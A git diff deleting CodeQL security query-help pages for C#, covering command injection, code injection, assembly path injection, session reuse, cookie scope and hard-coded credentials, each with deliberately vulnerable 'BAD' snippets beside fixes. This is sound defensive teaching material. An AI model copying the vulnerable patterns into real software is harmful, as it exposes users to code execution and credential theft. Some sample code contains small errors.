repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-548/ASPNetDirectoryListing.ql) - -ASP.NET applications that enable directory browsing can leak sensitive information to an attacker. The precise nature of the vulnerability depends on which files are listed and accessible. - - -## Recommendation -If this configuration may be used in production, remove the `directoryBrowse` element from the `Web.config` file or set the value to false. - - -## Example -The following example shows the `directoryBrowse` `enable` attribute set to true in a `Web.config` file for ASP.NET: - - -```none - - - - - ... - - -``` -To fix this problem, the `enable` attribute should be set to `false`, or the `directoryBrowse` element should be removed completely: - - -```none - - - - - ... - - -``` - -## References -* MSDN: [directoryBrowse element](https://msdn.microsoft.com/en-us/library/ms691327(v=vs.90).aspx). -* Common Weakness Enumeration: [CWE-548](https://cwe.mitre.org/data/definitions/548.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/AbandonSession.md b/docs/language/query-help/csharp/AbandonSession.md deleted file mode 100644 index 69d3e2b4a1f..00000000000 --- a/docs/language/query-help/csharp/AbandonSession.md +++ /dev/null @@ -1,52 +0,0 @@ -# Failure to abandon session - -``` -ID: cs/session-reuse -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-384 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-384/AbandonSession.ql) - -Reusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started. - - -## Recommendation -Always call `HttpSessionState.Abandon()` to ensure that the previous session is not used by the new user. - - -## Example -The following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account. - - -```csharp -public void Login(HttpContext ctx, string username, string password) -{ - if (FormsAuthentication.Authenticate(username, password) - { - // BAD: Reusing the previous session - ctx.Session["Mode"] = GetModeForUser(username); - } -} - -``` -This code example solves the problem by not reusing the session, and instead calling `Abandon()` to ensure that the session is not reused. - - -```csharp -public void Login(HttpContext ctx, string username, string password) -{ - if (FormsAuthentication.Authenticate(username, password) - { - // GOOD: Abandon the session first. - ctx.Session.Abandon(); - } -} - -``` - -## References -* MSDN: [ASP.NET Session State Overview](https://msdn.microsoft.com/en-us/library/ms178581.aspx), [HttpSessionState.Abandon Method ()](https://msdn.microsoft.com/en-us/library/system.web.sessionstate.httpsessionstate.abandon(v=vs.110).aspx). -* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/AssemblyPathInjection.md b/docs/language/query-help/csharp/AssemblyPathInjection.md deleted file mode 100644 index a3b87e7dc1c..00000000000 --- a/docs/language/query-help/csharp/AssemblyPathInjection.md +++ /dev/null @@ -1,71 +0,0 @@ -# Assembly path injection - -``` -ID: cs/assembly-path-injection -Kind: problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-114 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-114/AssemblyPathInjection.ql) - -C# supports runtime loading of assemblies by path through the use of the `System.Reflection.Assembly` API. If an external user can influence the path used to load an assembly, then the application can potentially be tricked into loading an assembly which was not intended to be loaded, and executing arbitrary code. - - -## Recommendation -Avoid loading assemblies based on user provided input. If this is not possible, ensure that the path is validated before being used with `Assembly`. For example, compare the provided input against a whitelist of known safe assemblies, or confirm that the path is restricted to a single directory which only contains safe assemblies. - - -## Example -In this example, user input is provided describing the path to an assembly, which is loaded without validation. This is problematic because it allows the user to load any assembly installed on the system, and is particularly problematic if an attacker can upload a custom DLL elsewhere on the system. - - -```csharp -using System; -using System.Web; -using System.Reflection; - -public class AssemblyPathInjectionHandler : IHttpHandler { - public void ProcessRequest(HttpContext ctx) { - string assemblyPath = ctx.Request.QueryString["assemblyPath"]; - - // BAD: Load assembly based on user input - var badAssembly = Assembly.LoadFile(assemblyPath); - - // Method called on loaded assembly. If the user can control the loaded assembly, then this - // could result in a remote code execution vulnerability - MethodInfo m = badAssembly.GetType("Config").GetMethod("GetCustomPath"); - Object customPath = m.Invoke(null, null); - // ... - } -} -``` -In the corrected version, user input is validated against one of two options, and the assembly is only loaded if the user input matches one of those options. - - -```csharp -using System; -using System.Web; -using System.Reflection; - -public class AssemblyPathInjectionHandler : IHttpHandler { - public void ProcessRequest(HttpContext ctx) { - string configType = ctx.Request.QueryString["configType"]; - - if (configType.equals("configType1") || configType.equals("configType2")) { - // GOOD: Loaded assembly is one of the two known safe options - var safeAssembly = Assembly.LoadFile(@"C:\SafeLibraries\" + configType + ".dll"); - - // Code execution is limited to one of two known and vetted assemblies - MethodInfo m = safeAssembly.GetType("Config").GetMethod("GetCustomPath"); - Object customPath = m.Invoke(null, null); - // ... - } - } -} -``` - -## References -* Microsoft: [System.Reflection.Assembly](https://docs.microsoft.com/en-us/dotnet/api/system.reflection.assembly?view=netframework-4.8). -* Common Weakness Enumeration: [CWE-114](https://cwe.mitre.org/data/definitions/114.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CleartextStorage.md b/docs/language/query-help/csharp/CleartextStorage.md deleted file mode 100644 index dedc59ef949..00000000000 --- a/docs/language/query-help/csharp/CleartextStorage.md +++ /dev/null @@ -1,64 +0,0 @@ -# Clear text storage of sensitive information - -``` -ID: cs/cleartext-storage-of-sensitive-information -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-312 external/cwe/cwe-315 external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-312/CleartextStorage.ql) - -Sensitive information that is stored unencrypted is accessible to an attacker who gains access to the storage. This is particularly important for cookies, which are stored on the machine of the end-user. - - -## Recommendation -Ensure that sensitive information is always encrypted before being stored. For ASP.NET applications, the `System.Web.Security.MachineKey` class may be used to encode sensitive information. - -If possible, avoid placing sensitive information in cookies all together. Instead, prefer storing a key in the cookie that can be used to lookup the sensitive information. - -In general, decrypt sensitive information only at the point where it is necessary for it to be used in cleartext. - - -## Example -The following example shows two ways of storing user credentials in a cookie. In the 'BAD' case, the credentials are simply stored in cleartext. In the 'GOOD' case, the credentials are protected before storing them, using `MachineKey.Protect`, wrapped in a utility method. - - -```csharp -using System.Text; -using System.Web; -using System.Web.Security; - -public class CleartextStorageHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string accountName = ctx.Request.QueryString["AccountName"]; - // BAD: Setting a cookie value with cleartext sensitive data. - ctx.Response.Cookies["AccountName"].Value = accountName; - // GOOD: Encoding the value before setting it. - ctx.Response.Cookies["AccountName"].Value = Protect(accountName, "Account name"); - } - - ///

    - /// Protect the cleartext value, using the given type. - /// - /// - /// The protected value, which is no longer cleartext. - /// - public string Protect(string value, string type) - { - return Encoding.UTF8.GetString(MachineKey.Protect(Encoding.UTF8.GetBytes(value), type)); - } -} - -``` - -## References -* M. Dowd, J. McDonald and J. Schuhm, *The Art of Software Security Assessment*, 1st Edition, Chapter 2 - 'Common Vulnerabilities of Encryption', p. 43. Addison Wesley, 2006. -* M. Howard and D. LeBlanc, *Writing Secure Code*, 2nd Edition, Chapter 9 - 'Protecting Secret Data', p. 299. Microsoft, 2002. -* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html). -* Common Weakness Enumeration: [CWE-315](https://cwe.mitre.org/data/definitions/315.html). -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CodeInjection.md b/docs/language/query-help/csharp/CodeInjection.md deleted file mode 100644 index 8d60a5b7122..00000000000 --- a/docs/language/query-help/csharp/CodeInjection.md +++ /dev/null @@ -1,75 +0,0 @@ -# Improper control of generation of code - -``` -ID: cs/code-injection -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-094 external/cwe/cwe-095 external/cwe/cwe-096 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-094/CodeInjection.ql) - -If the application dynamically compiles and runs source code constructed from user input, a malicious user may be able to run arbitrary code. - - -## Recommendation -It is good practice not to generate, compile and run source code constructed from untrusted user input. If code must be dynamically generated using user input, the user input should be validated to prevent arbitrary code from appearing in the input. For example, a whitelist may be used to ensure that the input is limited to an acceptable range of values. - - -## Example -In the following example, the HttpHandler accepts remote user input which is C# source code for calculating tax. It compiles and runs this code, returning the output. However, the user provided source code is entirely unvalidated, and therefore allows arbitrary code execution. - -If possible, the dynamic compilation should be removed all together, and replaced with a fixed set of tax calculation algorithms. If this is not sufficiently powerful, an interpreter could be provided for a safe, restricted language. - - -```csharp -using Microsoft.CSharp; -using System; -using System.CodeDom.Compiler; -using System.Reflection; -using System.Web; - -public class CodeInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - // Code for calculating tax is provided as unvalidated user input - string taxFormula = ctx.Request.QueryString["tax_formula"]; - // Used to create C# - StringBuilder sourceCode = new StringBuilder(""); - sourceCode.Append("public class TaxCalc {\n"); - sourceCode.Append("\tpublic int CalculateTax(int value){\n"); - sourceCode.Append("\t\treturn " + taxFormula + "; \n"); - sourceCode.Append("\t}\n"); - sourceCode.Append("}\n"); - - // BAD: This compiles the sourceCode, containing unvalidated user input - CSharpCodeProvider c = new CSharpCodeProvider(); - ICodeCompiler icc = c.CreateCompiler(); - CompilerParameters cp = new CompilerParameters(); - CompilerResults cr = icc.CompileAssemblyFromSource(cp, sourceCode.ToString()); - - // Compiled input is loaded, and an instance of the class is constructed - System.Reflection.Assembly a = cr.CompiledAssembly; - object taxCalc = a.CreateInstance("TaxCalc"); - - // Unsafe code is executed - Type taxCalcType = o.GetType(); - MethodInfo mi = type.GetMethod("CalculateTax"); - int value = int.Parse(ctx.Request.QueryString["value"]); - int s = (int)mi.Invoke(o, new object[] { value }); - - // Result is returned to the user - ctx.Response.Write("Tax value is: " + s); - } -} - -``` - -## References -* Wikipedia: [Code Injection](https://en.wikipedia.org/wiki/Code_injection). -* OWASP: [Code Injection](https://www.owasp.org/index.php/Code_Injection). -* Common Weakness Enumeration: [CWE-94](https://cwe.mitre.org/data/definitions/94.html). -* Common Weakness Enumeration: [CWE-95](https://cwe.mitre.org/data/definitions/95.html). -* Common Weakness Enumeration: [CWE-96](https://cwe.mitre.org/data/definitions/96.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CommandInjection.md b/docs/language/query-help/csharp/CommandInjection.md deleted file mode 100644 index f4dc530aeec..00000000000 --- a/docs/language/query-help/csharp/CommandInjection.md +++ /dev/null @@ -1,45 +0,0 @@ -# Uncontrolled command line - -``` -ID: cs/command-line-injection -Kind: path-problem -Severity: error -Precision: high -Tags: correctness security external/cwe/cwe-078 external/cwe/cwe-088 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-078/CommandInjection.ql) - -Code that passes user input directly to `System.Diagnostic.Process.Start`, or some other library routine that executes a command, allows the user to execute malicious code. - - -## Recommendation -If possible, use hard-coded string literals to specify the command to run or library to load. Instead of passing the user input directly to the process or library function, examine the user input and then choose among hard-coded string literals. - -If the applicable libraries or commands cannot be determined at compile time, then add code to verify that the user input string is safe before using it. - - -## Example -The following example shows code that takes a shell script that can be changed maliciously by a user, and passes it straight to `System.Diagnostic.Process.Start` without examining it first. - - -```csharp -using System; -using System.Web; -using System.Diagnostics; - -public class CommandInjectionHandler : IHttpHandler -{ - public void ProcessRequest(HttpContext ctx) - { - string param = ctx.Request.QueryString["param"]; - Process.Start("process.exe", "/c " + param); - } -} - -``` - -## References -* OWASP: [Command Injection](https://www.owasp.org/index.php/Command_Injection). -* Common Weakness Enumeration: [CWE-78](https://cwe.mitre.org/data/definitions/78.html). -* Common Weakness Enumeration: [CWE-88](https://cwe.mitre.org/data/definitions/88.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ConditionalBypass.md b/docs/language/query-help/csharp/ConditionalBypass.md deleted file mode 100644 index a4c1b1997f1..00000000000 --- a/docs/language/query-help/csharp/ConditionalBypass.md +++ /dev/null @@ -1,54 +0,0 @@ -# User-controlled bypass of sensitive method - -``` -ID: cs/user-controlled-bypass -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-807 external/cwe/cwe-247 external/cwe/cwe-350 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-807/ConditionalBypass.ql) - -Many C# constructs enable code statements to be executed conditionally, for example, `if` statements and `for` statements. If the statements contain important authentication or login code, and user-controlled data determines whether or not the code is executed, an attacker may be able to bypass security systems. - - -## Recommendation -Never decide whether to authenticate a user based on data that may be controlled by that user. If necessary, ensure that the data is validated extensively when it is input before any authentication checks are performed. - -It is still possible to have a system that "remembers" users, thus not requiring the user to login on every interaction. For example, personalization settings can be applied without authentication because this is not sensitive information. However, users should be allowed to take sensitive actions only when they have been fully authenticated. - - -## Example -This example shows two ways of deciding whether to authenticate a user. The first way shows a decision that is based on the value of a cookie. Cookies can be easily controlled by the user, and so this allows a user to become authenticated without providing valid credentials. The second, more secure way shows a decision that is based on looking up the user in a security database. - - -```csharp -public boolean doLogin(HttpCookie adminCookie, String user, String password) -{ - - // BAD: login is executed only if the value of 'adminCookie' is 'false', - // but 'adminCookie' is controlled by the user - if (adminCookie.Value == "false") - return login(user, password); - - return true; -} - -public boolean doLogin(HttpCookie adminCookie, String user, String password) -{ - // GOOD: use server-side information based on the credentials to decide - // whether user has privileges - bool isAdmin = queryDbForAdminStatus(user, password); - if (!isAdmin) - return login(user, password); - - return true; -} - -``` - -## References -* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html). -* Common Weakness Enumeration: [CWE-247](https://cwe.mitre.org/data/definitions/247.html). -* Common Weakness Enumeration: [CWE-350](https://cwe.mitre.org/data/definitions/350.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md b/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md deleted file mode 100644 index e4e5f072a3f..00000000000 --- a/docs/language/query-help/csharp/CookieWithOverlyBroadDomain.md +++ /dev/null @@ -1,55 +0,0 @@ -# Cookie security: overly broad domain - -``` -ID: cs/web/broad-cookie-domain -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-287 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CookieWithOverlyBroadDomain.ql) - -This rule finds cookies with an overly broad domain. Cookies with an overly broad domain, such as ".mybank.com", can be accessed by all web applications deployed on this domain and its sub-domains. A cookie with sensitive data, but with too broad a domain, could hence be read and tampered with by a less secure and untrusted application. - - -## Recommendation -Precisely define the domain of the web application for which this cookie is valid. - - -## Example -In this example `cookie1` is accessible from online-bank.com. `cookie2` is accessible from ebanking.online-bank.com and any subdomains of ebanking.online-bank.com. - - -```csharp -class CookieWithOverlyBroadDomain -{ - static public void AddCookie() - { - HttpCookie cookie1 = new HttpCookie("sessionID"); - cookie1.Domain = "online-bank.com"; - - HttpCookie cookie2 = new HttpCookie("sessionID"); - cookie2.Domain = ".ebanking.online-bank.com"; - } -} - -``` -In the following example `cookie` is only accessible from ebanking.online-bank.com which is much more secure. - - -```csharp -class CookieWithOverlyBroadDomainFix -{ - static public void AddCookie() - { - HttpCookie cookie = new HttpCookie("sessionID"); - cookie.Domain = "ebanking.online-bank.com"; - } -} - -``` - -## References -* MSDN: [HttpCookie.Domain Property](http://msdn.microsoft.com/en-us/library/system.web.httpcookie.domain.aspx). -* Common Weakness Enumeration: [CWE-287](https://cwe.mitre.org/data/definitions/287.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md b/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md deleted file mode 100644 index f5c5ebf4066..00000000000 --- a/docs/language/query-help/csharp/CookieWithOverlyBroadPath.md +++ /dev/null @@ -1,52 +0,0 @@ -# Cookie security: overly broad path - -``` -ID: cs/web/broad-cookie-path -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-287 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CookieWithOverlyBroadPath.ql) - -This rule finds cookies with an overly broad path. Cookies with an overly broad path, such as the root context path ("/"), can be accessed by all web applications on the same domain name. A cookie with sensitive data, but with too broad a path, could hence be read and tampered by a less secure and untrusted application. - - -## Recommendation -Precisely define the path of the web application for which this cookie is valid. - - -## Example -In this example the cookie will be accessible to all applications regardless of their path. Most likely some of these applications are less secure than others and do not even need to access the same cookies. - - -```csharp -class CookieWithOverlyBroadPath -{ - static public void AddCookie() - { - HttpCookie cookie = new HttpCookie("sessionID"); - cookie.Path = "/"; - } -} - -``` -In the following example the cookie is only accessible to the web application at the "/ebanking" path. - - -```csharp -class CookieWithOverlyBroadPathFix -{ - static public void AddCookie() - { - HttpCookie cookie = new HttpCookie("sessionID"); - cookie.Path = "/ebanking"; - } -} - -``` - -## References -* MSDN: [HttpCookie.Path Property](http://msdn.microsoft.com/en-us/library/system.web.httpcookie.path.aspx). -* Common Weakness Enumeration: [CWE-287](https://cwe.mitre.org/data/definitions/287.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/DeserializedDelegate.md b/docs/language/query-help/csharp/DeserializedDelegate.md deleted file mode 100644 index 1192e1d9e07..00000000000 --- a/docs/language/query-help/csharp/DeserializedDelegate.md +++ /dev/null @@ -1,44 +0,0 @@ -# Deserialized delegate - -``` -ID: cs/deserialized-delegate -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-502 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-502/DeserializedDelegate.ql) - -Deserializing a delegate object may result in remote code execution, when an attacker can control the serialized data. - - -## Recommendation -Avoid deserializing delegate objects, if possible, or make sure that the serialized data cannot be controlled by an attacker. - - -## Example -In this example, a file stream is deserialized to a `Func` object, using a `BinaryFormatter`. The file stream is a parameter of a public method, so depending on the calls to `InvokeSerialized`, this may or may not pose a security problem. - - -```csharp -using System; -using System.IO; -using System.Runtime.Serialization.Formatters.Binary; - -class Bad -{ - public static int InvokeSerialized(FileStream fs) - { - var formatter = new BinaryFormatter(); - // BAD - var f = (Func)formatter.Deserialize(fs); - return f(); - } -} - -``` - -## References -* Microsoft: [BinaryFormatter Class](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.binary.binaryformatter). -* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md b/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md deleted file mode 100644 index 6acdeda8fe3..00000000000 --- a/docs/language/query-help/csharp/EmptyPasswordInConfigurationFile.md +++ /dev/null @@ -1,22 +0,0 @@ -# Empty password in configuration file - -``` -ID: cs/empty-password-in-configuration -Kind: problem -Severity: warning -Precision: medium -Tags: security external/cwe/cwe-258 external/cwe/cwe-862 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Configuration/EmptyPasswordInConfigurationFile.ql) - -The use of an empty string as a password in a configuration file is not secure. - - -## Recommendation -Choose a proper password and encrypt it if you need to store it in the configuration file. - - -## References -* Common Weakness Enumeration: [CWE-258](https://cwe.mitre.org/data/definitions/258.html). -* Common Weakness Enumeration: [CWE-862](https://cwe.mitre.org/data/definitions/862.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/Encryption using ECB.md b/docs/language/query-help/csharp/Encryption using ECB.md deleted file mode 100644 index 69104e226d9..00000000000 --- a/docs/language/query-help/csharp/Encryption using ECB.md +++ /dev/null @@ -1,22 +0,0 @@ -# Encryption using ECB - -``` -ID: cs/ecb-encryption -Kind: problem -Severity: warning -Precision: high -Tags: security external/cwe/cwe-327 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/Encryption%20using%20ECB.ql) - -ECB should not be used as a mode for encryption. It has dangerous weaknesses. Data is encrypted the same way every time meaning the same plaintext input will always produce the same cyphertext. This makes encrypted messages vulnerable to replay attacks. - - -## Recommendation -Use a different CypherMode. - - -## References -* Wikipedia, Block cypher modes of operation, [Electronic codebook (ECB)](https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29). -* Common Weakness Enumeration: [CWE-327](https://cwe.mitre.org/data/definitions/327.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExceptionInformationExposure.md b/docs/language/query-help/csharp/ExceptionInformationExposure.md deleted file mode 100644 index 51ea01dea38..00000000000 --- a/docs/language/query-help/csharp/ExceptionInformationExposure.md +++ /dev/null @@ -1,65 +0,0 @@ -# Information exposure through an exception - -``` -ID: cs/information-exposure-through-exception -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-209 external/cwe/cwe-497 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-209/ExceptionInformationExposure.ql) - -Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. - -Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. - - -## Recommendation -Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. - - -## Example -In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user by calling `ToString()`, and writing it to the response. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information. - - -```csharp -using System; -using System.Web; - -public class StackTraceHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - try - { - doSomeWork(); - } - catch (Exception ex) - { - // BAD: printing a stack trace back to the response - ctx.Response.Write(ex.ToString()); - return; - } - - try - { - doSomeWork(); - } - catch (Exception ex) - { - // GOOD: log the stack trace, and send back a non-revealing response - log("Exception occurred", ex); - ctx.Response.Write("Exception occurred"); - return; - } - } -} - -``` - -## References -* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). -* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). -* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExposureInTransmittedData.md b/docs/language/query-help/csharp/ExposureInTransmittedData.md deleted file mode 100644 index 5121bb86a7b..00000000000 --- a/docs/language/query-help/csharp/ExposureInTransmittedData.md +++ /dev/null @@ -1,66 +0,0 @@ -# Information exposure through transmitted data - -``` -ID: cs/sensitive-data-transmission -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-201 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-201/ExposureInTransmittedData.ql) - -Transmitting sensitive data to the user is a potential security risk. Always ensure that transmitted data is intended for the user. For example, passwords and the contents of database exceptions are generally not appropriate to send to the user, as they reveal information that could be abused or exploited. - - -## Recommendation -Avoid transmitting passwords or exceptions to the user. Instead, create a more user-friendly message that does not contain potentially sensitive information. Technical errors should be written to a log file. - - -## Example -The following example shows the user password being sent back to the user. - - -```csharp -public class Handler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - try - { - ... - } - catch (AuthenticationFailure ex) - { - ctx.Response.Write("Invalid password: " + password); - } - } -} - -``` -The following example shows a database exception being sent to the user. Exceptions can often contain unnecessary technical or sensitive information that should not be seen by the user. - - -```csharp -public class Handler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - try - { - ... - } - catch (DbException ex) - { - ctx.Response.Write("Database error: " + ex.Message); - } - } -} - -``` - -## References -* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10_2013-A6-Sensitive_Data_Exposure). -* Common Weakness Enumeration: [CWE-201](https://cwe.mitre.org/data/definitions/201.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/ExposureOfPrivateInformation.md b/docs/language/query-help/csharp/ExposureOfPrivateInformation.md deleted file mode 100644 index 0415e8b7fc4..00000000000 --- a/docs/language/query-help/csharp/ExposureOfPrivateInformation.md +++ /dev/null @@ -1,44 +0,0 @@ -# Exposure of private information - -``` -ID: cs/exposure-of-sensitive-information -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-359 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-359/ExposureOfPrivateInformation.ql) - -Private information that is stored in an external location may be more vulnerable because that location may not be protected by the same access controls as other parts of the system. - -Examples include log files, cookies and plain text storage on disk. - - -## Recommendation -Ensure that private information is only stored in secure data locations. - - -## Example -The following example shows some private data - an address - being passed to a HTTP handler. This private information is then stored in a log file. This log file on disk may be accessible to users that do not normally have access to this private data. - - -```csharp -using System.Text; -using System.Web; -using System.Web.Security; - -public class PrivateInformationHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string address = ctx.Request.QueryString["Address1"]; - logger.Info("User has address: " + address); - } -} - -``` - -## References -* Common Weakness Enumeration: [CWE-359](https://cwe.mitre.org/data/definitions/359.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HardcodedConnectionString.md b/docs/language/query-help/csharp/HardcodedConnectionString.md deleted file mode 100644 index 428b6e87a5d..00000000000 --- a/docs/language/query-help/csharp/HardcodedConnectionString.md +++ /dev/null @@ -1,78 +0,0 @@ -# Hard-coded connection string with credentials - -``` -ID: cs/hardcoded-connection-string-credentials -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-798/HardcodedConnectionString.ql) - -Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. - -Source or configuration files containing hard-coded credentials may be visible to an attacker. For example, the source code may be open source, or it may be leaked or accidentally revealed. For applications shipped as binaries, the credentials may be accessible within the compiled assemblies. - -For inbound authentication, hard-coded credentials may allow unauthorized access to the system. This is particularly problematic if the credential is hard-coded in the source code, because it cannot be disabled easily. For outbound authentication, the hard-coded credentials may provide an attacker with privileged information or unauthorized access to some other system. - - -## Recommendation -Remove hard-coded credentials, such as user names, passwords and certificates, from source code, placing them in configuration files or other data stores if necessary. If possible, store configuration files including credential data separately from the source code, in a secure location with restricted access. - -For outbound authentication details, consider encrypting the credentials or the enclosing data stores or configuration files, and using permissions to restrict access. - -For inbound authentication details, consider hashing passwords using standard library functions where possible. For example, Microsoft provide the class `Microsoft.AspNet.Identity.PasswordHasher`. - - -## Example -The following examples shows different types of inbound and outbound authentication. - -In the first case, we accept a password from a remote user, and compare it against a plaintext string literal. If an attacker acquires the source code, or the assemblies, they can observe the password, and can log in to the system. Furthermore, if such an intrusion was discovered, the application would need to be recompiled in order to change the password. - -In the second case, the password is compared to a hashed and salted password stored in a configuration file, using the Microsoft provided `PasswordHasher.VerifyHashedPassword`. In this case, access to the source code or the assembly would not reveal the password to an attacker. Even access to the configuration file containing the password hash and salt would be of little value to an attacker, as it is usually extremely difficult to reverse engineer the password from the hash and salt. - -In the final case, a password is changed to a new, hard-coded value. If an attacker has access to the source code, they will be able to observe the new password. - - -```csharp -using Microsoft.AspNet.Identity; -using System; -using System.Web; -using System.Web.Security; - -public class HardCodedCredentialHandler : IHttpHandler -{ - - public void ProcessRequest(HttpContext ctx) - { - string password = ctx.Request.QueryString["password"]; - - // BAD: Inbound authentication made by comparison to string literal - if (password == "myPa55word") - { - ctx.Response.Redirect("login"); - } - - string hashedPassword = loadPasswordFromSecretConfig(); - - // GOOD: Inbound authentication made by comparing to a hash password from a config - if (PasswordHasher.VerifyHashedPassword(hashedPassword, password)) - { - ctx.Response.Redirect(VALID_REDIRECT); - } - - // BAD: Set the password to a hardcoded string literal - MembershipUser user = loadMembershipUser(); - user.ChangePassword(password, "myNewPa55word"); - } -} - -``` - -## References -* OWASP: [XSS Use of hard-coded password](https://www.owasp.org/index.php/Use_of_hard-coded_password). -* Microsoft Docs: [Preventing Open Redirection Attacks (C#)](https://docs.microsoft.com/en-us/aspnet/mvc/overview/security/preventing-open-redirection-attacks). -* Common Weakness Enumeration: [CWE-259](https://cwe.mitre.org/data/definitions/259.html). -* Common Weakness Enumeration: [CWE-321](https://cwe.mitre.org/data/definitions/321.html). -* Common Weakness Enumeration: [CWE-798](https://cwe.mitre.org/data/definitions/798.html). \ No newline at end of file diff --git a/docs/language/query-help/csharp/HardcodedCredentials.md b/docs/language/query-help/csharp/HardcodedCredentials.md deleted file mode 100644 index 03749e80ba1..00000000000 --- a/docs/language/query-help/csharp/HardcodedCredentials.md +++ /dev/null @@ -1,78 +0,0 @@ -# Hard-coded credentials - -``` -ID: cs/hardcoded-credentials -Kind: path-problem -Severity: error -Precision: high -Tags: security external/cwe/cwe-259 external/cwe/cwe-321 external/cwe/cwe-798 - -``` -[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/csharp/ql/src/Security%20Features/CWE-798/HardcodedCredentials.ql) - -Including unencrypted hard-coded inbound or outbound authentication credentials within source code or configuration files is dangerous because the credentials may be easily discovered. - -Source or configuration files containing hard-coded credentials may be 